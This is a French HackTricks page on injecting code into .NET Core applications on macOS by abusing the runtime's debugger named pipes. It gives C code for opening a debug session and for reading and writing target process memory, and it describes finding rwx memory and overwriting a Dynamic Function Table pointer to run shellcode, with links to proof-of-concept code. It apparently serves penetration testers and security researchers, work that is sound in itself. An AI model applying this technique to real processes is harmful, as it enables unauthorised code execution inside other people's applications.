12 KiB
Injection d'applications .Net sur macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Débogage de .NET Core
Établir une session de débogage
dbgtransportsession.cpp est responsable de la gestion de la communication entre le débogueur et le débogueur.
Il crée deux tubes nommés par processus .Net dans dbgtransportsession.cpp#L127 en appelant twowaypipe.cpp#L27 (l'un se terminera par -in
et l'autre par -out
et le reste du nom sera identique).
Ainsi, si vous accédez au répertoire $TMPDIR
de l'utilisateur, vous pourrez trouver des fifos de débogage que vous pourrez utiliser pour déboguer des applications .Net :
La fonction DbgTransportSession::TransportWorker gérera la communication depuis un débogueur.
La première chose qu'un débogueur doit faire est de créer une nouvelle session de débogage. Cela se fait en envoyant un message via le tube de sortie commençant par une structure MessageHeader
, que nous pouvons récupérer à partir de la source .NET :
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
Dans le cas d'une nouvelle demande de session, cette structure est remplie comme suit:
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
Une fois construit, nous l'envoyons à la cible en utilisant l'appel système write
:
write(wr, &sSendHeader, sizeof(MessageHeader));
Suivant notre en-tête, nous devons envoyer une structure sessionRequestData
qui contient un GUID pour identifier notre session :
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
Après avoir envoyé notre demande de session, nous lisons depuis le tube out
un en-tête qui indiquera si notre demande d'établissement d'une session de débogage a été réussie ou non :
read(rd, &sReceiveHeader, sizeof(MessageHeader));
Lire la mémoire
Avec une session de débogage établie, il est possible de lire la mémoire en utilisant le type de message MT_ReadMemory
. Pour lire une partie de la mémoire, le code principal nécessaire serait :
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
Le code de preuve de concept (POC) se trouve ici.
Écrire dans la mémoire
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
Le code POC utilisé pour cela peut être trouvé ici.
Exécution de code .NET Core
La première chose à faire est d'identifier, par exemple, une région de mémoire avec rwx
en cours d'exécution pour enregistrer le shellcode à exécuter. Cela peut être facilement fait avec :
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
Ensuite, pour déclencher l'exécution, il serait nécessaire de connaître un endroit où un pointeur de fonction est stocké pour le remplacer. Il est possible de remplacer un pointeur dans la Table des fonctions dynamiques (TFD), utilisée par le runtime .NET Core pour fournir des fonctions d'aide à la compilation JIT. Une liste des pointeurs de fonction pris en charge peut être trouvée dans jithelpers.h
.
Dans les versions x64, cela est simple en utilisant la technique de recherche de signature similaire à mimikatz pour rechercher dans libcorclr.dll
une référence au symbole _hlpDynamicFuncTable
, que nous pouvons déréférencer :
Il ne reste plus qu'à trouver une adresse à partir de laquelle commencer notre recherche de signature. Pour cela, nous utilisons une autre fonction de débogueur exposée, MT_GetDCB
. Cela renvoie plusieurs informations utiles sur le processus cible, mais dans notre cas, nous nous intéressons à un champ renvoyant l'adresse d'une fonction d'aide, m_helperRemoteStartAddr
. En utilisant cette adresse, nous savons exactement où libcorclr.dll
est situé dans la mémoire du processus cible et nous pouvons commencer notre recherche de la TFD.
En connaissant cette adresse, il est possible de remplacer le pointeur de fonction par notre propre shellcode.
Le code POC complet utilisé pour l'injection dans PowerShell peut être trouvé ici.
Références
- Cette technique a été tirée de https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.